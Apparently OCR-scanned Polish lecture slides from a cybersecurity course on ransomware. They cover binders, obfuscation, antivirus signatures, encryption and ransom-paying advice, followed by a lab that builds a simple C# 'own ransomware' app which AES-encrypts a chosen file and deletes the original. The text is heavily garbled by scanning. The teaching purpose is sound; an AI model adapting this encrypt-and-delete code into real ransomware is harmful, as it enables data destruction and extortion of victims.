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Fraupornienie...

| C2dm jest binderr

Program, ktorego zadaniem jest uruchomienie docelowej aplikacji oraz (w
tle) wirusa tak, aby uzytkownik nic nie podejrzewat

ll. Fo co stosdiery zaciernnianis kodur

Inaczej obfuskacja; stosujemy jg po to, aby utrudnic¢ analize kodu (a w rezultacie
uniemozliwi¢ zneutralizowanie szkodliwego oprogramowania)

. W =kl sposab antywiruzs wakrgwa potencialnego wirusar

Poprzez tzw. sygnature (sekwencja bajtow w bazie antywirusa)
Y. Co to saafrowanie | na jakie rodzaje daieling szufrowanier

Szyfrowanie to proces zamiany tresci informacji z postaci jawnej na niejawng (zaszyfrowang).
Jest to proces odwrotny i moze by¢ realizowany poprzez jeden klucz do nadania i odbioru
(symetrycznie) lub poprzez dwa odrebne klucze: publiczny (nadawca) i prywatny (odbiorca) -
to z kolei szyfrowanie asymetryczne.
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Zrédto: https://youtu.be/h KE67hKVnk

| HEST = |



https://youtu.be/h_KE67hKVnk

RANSUIMWARE

rodzaj wirusa, polegajacy na 2assafrowaniu dangch na komputerze pod arozba ich opublikowania badz
Lsunigcia, jesli nie 2ostanie zaptacony okup. Froste ransormware’y blokowaty systern operacujing Cpraez
waswistlenie ekranu informacyjineaol. Te bardzie] 2aawansowans 2 kolei saafruja pliki popraez jeden =
dostepnuch silmgch algorgtmow szgfrujacach Cnp. AES 2562 Fiatnosci okupu pradgjinowans 53 prasz
trudne do wuasledzenia krgptowaluty, np. bitcoin, ethernun ca2y monero, ale takaze chocby dotadowania
typu pagsatfecard.

W celu dodatkowego zabezpisczenia sig, atakujzcu czesto korzystajz =2 tzw pralni krgptowalut, 23
poroca ktarach 2a niewielks optats dodatkowo 2acieraja slady, pozwalajzce na odayuskanie pienigday.
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MECHAMNIZM DZIALANIA RRM20MWARE R

wprowadzenie wirusa do systemu, np. przez pobrany plik w wyniku
exploita w ustudze sieciowej (np. SMB - wspditdzielenie plikéw i
drukarek)

Wyswietlenie fatszywego ostrzezenia (wystanego przez organy S$cigania!!!) lub
bezposrednio: Zaszyfrowalismy ci pliki, tu masz instrukcje co dalej

Szkodliwy program bedzie dziatat do momentu zaptacenia zgdanej kwoty. Wraz z uptywem
czasu, atakujgcy moga zwiekszac¢ jg np. przez niedotrzymanie terminu itd.

Ograniczenie dostepu do systemu czesto wynika z modyfikacji rekordu rozruchowego
(MBR/GPT) 1lub tablicy partycji aby zapobiec prawidiowemu rozruchu systemu.

Bardziej z1osliwy ransomware zaszyfruje pliki tak, aby tylko autor wirusa byt w
stanie go odszyfrowac¢ swoim kluczem.
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Czy atakujzcur faktycznie 2alezy na tum, abus
odzuskatSa plikic
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Czy atakujgcan faktuycznie zalezy na tum, abus
odzuzkatsa plikic

Wszystko zalezy od intencji atakujgcych. Ztamanie wiekszosSci algorytméw szyfrujgcych
graniczy z cudem bgadz wymaga ogromnej mocy obliczeniowej, dlatego atakujacy nie zaktadajag
scenariusza odzyskania plikdéw ,,na wtasng reke”. Ich giowng motywacjg jest to, ze faktycznie
wyslesz pienigdze - nie zalezy im zazwyczaj na samych plikach, wiec te jesli zawieraja
jakiekolwiek dane wrazliwe: zapewne zostang jeszcze wykorzystane i choéby sprzedane na
darknecie. W zwigzku z tym, cho¢ i tak je odzyskamy po zaptaceniu, np. przez wystanie przez
atakujgcego programu deszyfrujgcego, nie mamy gwarancji, ze cyberprzestepca je usunie ze
swojego dysku.
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Czg warto zaterm zaptacic okupr
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L2y warto zatem zaptacic okupr

Ponownie, to zalezy! 0Od tego, jak wysoka jest kwota - mozna prébowaé negocjowac z
oszustami i poczekac, sprobowaé¢ wymusi¢ zmniejszenie jej (Jestem tylko biednym

studentem 1 mam jedynie 100 ztotych!), zysk dla atakujgcego to priorytet,

To jednak metoda dla odwaznych i skionnych do pewnego ryzyka. Duzo bezpieczniejsze
jest zwyczajne powiadomienie policji lub przetozonego (jesli to komputer firmowy).
Nie mamy wcale gwarancji, ze odzyskamy pliki, wiec nalezy od razu uznac, ze
prawdopodobnie stracilismy je bezpowrotnie. NIGDY NIE NALEZY UFAC ATAKUJACYM, A
TYM BARDZIEJ WIERZYC W ICH DOBRE INTENCJE!
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Fiansorware Cruptolocker

Zrodto:

https://www.youtube.com/watch?v=UJT1o0N7a0OKE
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https://www.youtube.com/watch?v=UJTloN7a0KE
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AIDS Information !m[r)ml;:J g

| Start y mpulc Version 2.0
. In crll.h. d skette into drive A

3 At the C> prompx, __pcA:l.\b'I‘)\l.L

4. Press ENTER

FIRST RANSOMWARE

ﬁACAUSE OF

Zrddto:
https://www.youtube.com/watch?v=k0ODIdgg4LVyE

| MEST = |



https://www.youtube.com/watch?v=k0DIdgq4LyE

Foznaimg jak dziata takl ransormware od srodkal
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% Task | WMasny ranzorware

X Pobieramy szablon projektu, rozpakowujemy i odpalamy w Visual Studio (po odpakowaniu wystarczy odpalié¢ plik .sln) -> [PrzeidZ]

X  Uruchamiamy plik Forml.cs. Pojawi nam sie okienko z programem. Klikamy dwa razy na przycisk ,,0twérz plik”, aby przejsc¢ do kodu

uruchamiajgcego sie po nacis$nieciu przycisku. Do metody dodajemy kod -> [Zobacz rozwigzanie]

x  Tworzymy metode, ktdéra zaszyfruje nam plik (bedzie wywotana przy kliknieciu przycisku) -> [Zobacz rozwigzanie]

X Musimy obstuzy¢ przycisk ,,Zaszyfruj plik” - metoda wywolujgca zaszyfrowanie pliku -> [Zobacz rozwigzanie]

x  Tworzymy metode, ktdéra odszyfruj nasz plik (bedzie wywotana przy kliknieciu przycisku) -> [Zobacz rozwigzanie]

X  Obstuga przycisku ,,0dszyfruj plik” - metoda wywoiujgca odszyfrowaniu pliku -> [Zobacz rozwigzanie]

X *Dodatek: metoda, ktéra skasuje oryginalny plik i pozostawi tylko zaszyfrowany (wywoiujemy w metodzie, przypisanej do obstugi przycisku

sZaszyfruj plik” -> [Zobacz rozwigzanie]
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https://cybersec2.michcia.pl/03.ransomware/source_code/program_starter.zip

@ Fodzsurmowanis

l. Jak wiarngwacze otrzardwall pienizdze 2a atakr
Il. Jaki algargtm mozna wakorgystac do szufrowaniar

lll. C2ya jesk padnierdg ofiara ataky, to powinnizmyg wasgtac pieniadze w
rarmach okupur
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11 Fod preuciszky Otwoarz plik™

private void btnBrowseFile Click(object sender, EventArgs e)

// uzycie komponentu do otwierania plikéw oraz dodanie filtra na "wszystkie pliki"
using (OpenFileDialog ofd = new OpenFileDialog() { Filter = "All files|*.*"})

// Warunek sprawdzajacy czy uzytkownik nacisng ok czy anuluj w oknie dialogowym
if (ofd.ShowDialog() == DialogResult.OK)
txtFilePath.Text = ofd.FileName;
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2 | Metoda szafrujzca plik FileEncrapt™

Metoda wywotywana po nacisnieciu przycisku ,,Zaszyfruj plik”

private void FileEncrypt(string inputFileName, string password)

{
RijndaelManaged AES = ConfigureEncryption(password, salt);
// tworzenie nowego pliku do ktdérego zapiszem nasze zaszyfrowane dane oraz dodamy do "orgyinalnej nazwy" .aes
using (FileStream nowyPlik = new FileStream(inputFileName + ".aes", FileMode.Create))
{
// zapisywanie pliku (dodajemy so6l na poczatku)
nowyPlik.Write(salt, 0, salt.Length);
// Uzycie klasy CryptoStream do zapisu zaszyfrowanego ciggu
using (CryptoStream szyfrowanie = new CryptoStream(nowyPlik, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
// otworzenie pliku bajt po bajcie
using(FileStream plikDoZaszyfrowania = new FileStream(inputFileName, FileMode.Open))
{
// przygotowanie bufora na plik (1MB), mozna rozszerzy¢
byte[] buffer = new byte[1048576];
int read;
while ((read = plikDoZaszyfrowania.Read(buffer, @, buffer.Length)) > 0)
{
szyfrowanie.Write(buffer, 0, read);
}
}
}
}
}




2 | Metoda btnEncrupt_Cliclk

Metoda, ktéra wywota sie po kliknieciu przycisku ,,Zaszyfruj plik”

private void btnEncrypt_Click(object sender, EventArgs e)

{

try
{

FileEncrypt(txtFilePath.Text, txtPassword.Text);
RemoveFile(txtFilePath.Text);
MessageBox.Show("Encryption Done!");

}
catch
{
MessageBox.Show("Ups... Co$ poszio nie tak");
}
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4 | Metoda FileDecrypt

Metoda wywotywana po nacisnieciu przycisku ,,0dszyfruj plik” - odpowiada za odszyfrowanie pliku

private void FileDecrypt(string inputFileName, string outputFileName, string password)
{
RijndaelManaged AES = ConfigureEncryption(password, salt);

// odczytywanie pliku bajt po bajcie

using (FileStream plikZaszyfrowany = new FileStream(inputFileName, FileMode.Open))

{
// odczytanie soli ktérg zapisalismy w pliku (jest to istotne bo gdy sél by sie zmienita to pliku nie odcyztamy)
plikZaszyfrowany.Read(salt, @, salt.Length);

// CryptoStream odczytuje dane zaszyfrowane za pomocg AES-a
using (CryptoStream odszyfrowywanie = new CryptoStream(plikZaszyfrowany, AES.CreateDecryptor(), CryptoStreamMode.Read))
{
using (FileStream plikNieZaszyfrowany = new FileStream(outputFileName, FileMode.Create))
{
// Bufor na plik ~1 Megabajt ( wiekszego pliku nie przyjmie), mozna zwiekszy¢
byte[] buffer = new byte[1048576];
int read;
// przepisywanie zaszyfrowanego pliku do odszyfrowanego
while ((read = odszyfrowywanie.Read(buffer, @, buffer.Length)) > @)
{
plikNieZaszyfrowany.Write(buffer, 0, read);
}
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2 | Metoda btnbDecrypt_Cliclk

Metoda, ktéra wywota sie po kliknieciu przycisku ,Deszyfruj plik”

private void btnDecrypt Click(object sender, EventArgs e)
{
try
{
FileDecrypt(txtFilePath.Text, txtFilePath.Text.Replace(".aes", ""), txtPassword.Text);
MessageBox.Show("Decryption Done!");
¥
catch
{
MessageBox.Show("Ups... Co$S poszto nie tak");
¥
}
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& | Metoda FeroweFile

Metoda, ktéra skasuje plik po jego zaszyfrowaniu

private void RemoveFile(string filePath)

File.Delete(filePath);
}
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